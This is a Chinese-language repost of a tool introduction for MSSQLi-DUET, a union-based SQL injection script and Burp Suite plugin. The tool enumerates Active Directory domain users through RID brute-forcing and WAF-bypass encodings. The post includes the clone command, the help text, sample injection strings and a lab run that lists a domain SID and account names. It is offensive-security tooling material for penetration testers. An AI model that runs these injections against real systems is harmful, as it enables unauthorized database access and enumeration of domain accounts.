1. 首页
  2. 下载

MSSQLi-DUET:一款针对MSSQL的SQL注入工具

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

MSSQLi-DUET

MSSQLi-DUET是一款针对MSSQL数据库的SQL注入脚本,它能够利用RID爆破技术来从一个活动目录环境中提取出域用户信息。该工具支持各种Web应用防火墙绕过技术,并且实现了SQLMap Temper功能。除此之外,广大研究人员还可以根据自己的需求以及目标环境来单独使用其中的Temper功能。

该工具有两种使用方式,一种是直接以Python脚本的方式在命令行终端中使用,另一种就是以Burp Suite插件的形式使用,这种方法可以使用简单的GUI导航。

当前版本的MSSQLi-DUET仅支持基于Union的注入方式,之后我们会进行大量测试来保证其他注入技术的稳定性和准确性。

工具下载

广大研究人员可以使用下列命令将MSSQLi-DUET项目源码克隆至本地:

git clone https://github.com/Keramas/mssqli-duet.git

工具使用

Burp Suite插件使用

在将插件上传至Burp Suite中之后,右键点击一个请求,然后选择将其发送给MSSQLi-DUET。随后,更多的相关参数和详细信息都将显示给用户

请求将会填充请求窗口,点击运行输出之后,我们就可以直接查看到输出结果了:

MSSQLi-DUET:一款针对MSSQL的SQL注入工具
MSSQLi-DUET:一款针对MSSQL的SQL注入工具

Python脚本使用

脚本帮助信息:

python3 mssqli-duet.py -h

usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid

                      RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]

                      [-o OUTFILE] -r REQUEST_FILE




MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool




optional arguments:

  -h, --help            show this help message and exit

  -i INJECTION, --injection INJECTION

                        Injection point. Provide only the data needed to

                        escape the query.

  -e ENCODING, --encoding ENCODING

                        Type of encoding: unicode, doubleencode, unmagicquotes

  -t TIME_DELAY, --time_delay TIME_DELAY

                        Time delay for requests.

  -rid RID_RANGE, --rid_range RID_RANGE

                        Hypenated range of RIDs to bruteforce. Ex: 1000-1200

  -ssl SSL, --ssl SSL   Add flag for HTTPS

  -p PARAMETER, --parameter PARAMETER

                        Vulnerable parameter

  -proxy PROXY, --proxy PROXY

                        Proxy connection string. Ex: 127.0.0.1:8080

  -o OUTFILE, --outfile OUTFILE

                        Outfile for username enumeration results.

  -r REQUEST_FILE, --request_file REQUEST_FILE

                        Raw request file saved from Burp




Prepare to be enumerated!

如何使用?

当你在一个目标应用程序中成功识别出了一个基于Uion注入的注入点,你就可以直接使用Burp Suite的“copy to file”功能来获取到请求元数据了。

使用-r选项将存储的请求信息发送给MSSQLi-DUET,并指定漏洞参数和注入点信息。比如说,如果漏洞参数为“element”,注入类型为SQL注入,那么-p参数值就是“element”,MSSQLi-DUET将会自动构建SQL注入查询。演示样例如下:

Ex: test'

    test'))

    test")"

工具使用样例

python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080

[+] Collected request data:

Target URL = http://192.168.11.22/search2.php?element=carbon

Method = GET

Content-Type = applcation/x-www-form-urlencoded







[+] Determining the number of columns in the table...

        [!] Number of columns is  3

[+] Determining column type...

        [!] Column type is null

[+] Discovering domain name...

        [+] Domain = NEUTRINO

[+] Discovering domain SID...

S-1-5-21-4142252318-1896537706-4233180933-




[+] Enumerating Active Directory via SIDs...




NEUTRINO\HYDROGENDC01$

NEUTRINO\DnsAdmins

NEUTRINO\DnsUpdateProxy

NEUTRINO\HELIUM$

NEUTRINO\BORON$

NEUTRINO\BERYLLIUM$

NEUTRINO\aeinstein

NEUTRINO\bbobberson

NEUTRINO\csagan

NEUTRINO\ccheese

NEUTRINO\svc_web

NEUTRINO\svc_sql

注意事项

在我们的使用过程中,可能需要研究人员根据目标数据库的列类型以及其他限制来对脚本代码进行自定义修改。

项目地址

MSSQLi-DUET:【GitHub传送门

本文来自本文作者:Alpha_h4ck, 转载自FreeBuf.COM,经授权后发布,本文观点不代表立场,转载请联系原作者。

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息